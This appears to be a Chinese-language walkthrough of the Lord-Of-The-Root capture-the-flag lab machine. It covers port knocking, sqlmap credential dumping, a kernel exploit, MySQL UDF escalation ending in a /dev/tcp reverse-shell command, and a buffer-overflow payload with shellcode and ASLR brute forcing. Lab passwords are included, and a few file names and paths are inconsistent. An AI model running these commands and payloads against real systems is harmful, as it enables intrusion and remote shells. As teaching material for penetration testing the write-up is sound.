Lord-Of-The-Root Ports-Knocking+SQLI+Kernel+BOF缓冲区溢出+Mysql_UDF+ASLR
字数 1108 2025-08-19 12:40:50
Lord-Of-The-Root 渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
目标系统IP: 192.168.8.104
使用Nmap进行初始扫描:
nmap -p- 192.168.8.104 --min-rate 1000 -sC -sV -Pn
扫描结果:
- 开放端口:
- 22/tcp: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3
- 1337/tcp: 未知服务
操作系统信息:
- Ubuntu Linux (内核版本未明确,但基于OpenSSH版本推测可能是Ubuntu 14.04)
1.2 端口敲门技术
目标系统使用了端口敲门(Port Knocking)技术保护1337端口:
knock 192.168.8.104 1 2 3 -d 300
敲门后再次扫描会发现1337端口开放。
2. Web应用渗透
2.1 Web目录发现
访问以下URL会自动跳转到一个页面:
http://192.168.8.104:1337/978345210/index.php
2.2 SQL注入攻击
使用sqlmap进行SQL注入检测:
sqlmap -u 'http://192.168.8.104:1337/978345210/index.php' \
--data='username=username&password=password&submit=' \
--level=5 --risk=3 --batch -D Webapp -T Users --dump
成功获取凭据:
- 用户名: smeagol
- 密码: MyPreciousR00t
3. 初始访问
使用获取的凭据通过SSH登录:
ssh smeagol@192.168.8.104
获取本地标志(Local.txt)内容:
wdio1901dad
4. 权限提升方法
4.1 内核漏洞提权
检查系统版本:
searchsploit Ubuntu 14.04 | grep "Privilege"
发现可用漏洞(如39166.c),编译并执行:
gcc 39166.c -o 39116.o
./39116.o
4.2 MySQL UDF提权
4.2.1 获取MySQL凭据
再次使用sqlmap获取MySQL凭据:
sqlmap -u 'http://192.168.8.104:1337/978345210/index.php' \
--data='username=username&password=password&submit=' \
--level=5 --risk=3 --batch -D mysql -T user --dump
获取到:
- 用户名: root
- 密码: darkshadow
4.2.2 检查提权条件
SELECT @@secure_file_priv;
SELECT @@version;
SHOW GRANTS;
需要满足:
- secure_file_priv为NULL或空
- MySQL版本≥5.1
- 当前用户有ALL PRIVILEGES或FILE权限
4.2.3 UDF提权步骤
- 编译恶意UDF库:
gcc -g -c H4CK13_UDF.c
gcc -g -shared -Wl,-soname,H4CK13_UDF.so -o H4CK13_UDF.so H4CK13_UDF.o -lc
- MySQL中操作:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/H4CK13_UDF.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/H4CK13_UDF.so';
create function do_system returns integer soname 'H4CK13_UDF.so';
select do_system('bash -c "/bin/sh -i >& /dev/tcp/192.168.8.107/10032 0>&1"');
4.3 缓冲区溢出提权
4.3.1 发现SUID程序
在/SECRET/door1/目录下发现具有SUID权限的32位可执行文件。
4.3.2 检查ASLR状态
cat /proc/sys/kernel/randomize_va_space
值为2表示ASLR已启用。
4.3.3 漏洞利用步骤
- 创建测试模式:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
- 确定偏移量:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
结果为171字节。
- 构造payload:
"A" * 171 + "\x90\xea\xff\xbf" * 4 + "\x90" * 3000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
- 自动化尝试:
for a in {1..5000}; do /SECRET/door2/file $(python -c 'print...'); done
5. 获取root权限
成功提权后获取root标志(Proot.txt)内容:
d1u9ad1j
关键知识点总结
- 端口敲门技术:保护隐藏服务端口的有效方法
- SQL注入:使用sqlmap自动化检测和利用
- UDF提权:MySQL高权限下的危险操作
- 缓冲区溢出:包括偏移计算、NOP滑道构造、小端字节序处理
- ASLR绕过:通过暴力破解方式绕过地址随机化
防御建议
- 及时更新系统和软件补丁
- 限制MySQL的FILE权限和UDF功能
- 使用更安全的端口保护机制替代简单端口敲门
- 编译时启用栈保护机制(如Canary)
- 对SUID程序进行严格审计